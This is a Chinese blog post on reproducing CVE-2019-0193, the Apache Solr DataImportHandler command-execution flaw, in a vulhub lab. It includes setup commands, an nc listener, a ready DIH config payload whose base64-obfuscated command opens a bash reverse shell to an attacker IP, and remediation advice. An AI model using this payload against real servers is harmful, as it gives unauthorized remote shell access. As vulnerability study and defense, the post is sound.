CVE-2019-0193 Apache Solr 远程命令执行反弹shell

最新推荐文章于 2024-08-20 00:20:31 发布

置顶 pikeboom

最新推荐文章于 2024-08-20 00:20:31 发布

阅读量1.2k

点赞数 3

分类专栏：漏洞专栏文章标签： apache solr

本文链接：https://blog.csdn.net/Trouble_99/article/details/114122065

版权

漏洞专栏专栏收录该内容

15 篇文章 4 订阅

订阅专栏

漏洞描述

Apache Solr是一个开源的搜索服务器。Solr使用Java语言开发，该漏洞产生的主要原因是因为apache dataimporthandler数据外部收集的一个端口模块，该模块支持从远程的地址进行通信，并多数据进行收集，正因为开放了远程地址，可导致攻击者构造恶意的代码对DIH进行脚本注入，从而让后端服务器对恶意代码进行了执行，该漏洞可导致服务器被攻击

影响版本

Apache Solr < 8.2.0

漏洞复现

环境搭建

小编这里图个方便直接使用vulhub靶场搭建环境

cd /root/vulhub/solr/CVE-2019-0193
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db   
//创建一个test模块
docker ps

在这里插入图片描述 web访问如下：

反弹shell

1.访问web页面进行如下操作
test -》 Dataimport -》 Debug -》 Debug-Mode
在这里插入图片描述 2.开启端口监听
kali中使用，也可windows下使用。

nc -lnvp 1234

在这里插入图片描述

3.添加poc

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTExLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

注意这里加密的base64为你当前反弹的ip和端口，可以自行进行加密修改。附链接： base64编码

在这里插入图片描述

在这里插入图片描述发送成功后，成功反弹shell，因为拿到的是solr权限，后续步骤可以视情况进行提权等操作。

防御方法

登录solr的控制面板，可以查看到当前的版本，如果低于8.2.0，说明存在漏洞，将solr的版本升级到最新版本。
对apache配置文件进行修改，文件名是solrconfig.xml，配置文件里的datainport值都注释掉，关闭这个数据收集功能，有些网站，APP可能会使用到这个功能，在关闭后请检查网站的正常功能，是否收到影响，没有影响就关闭即可。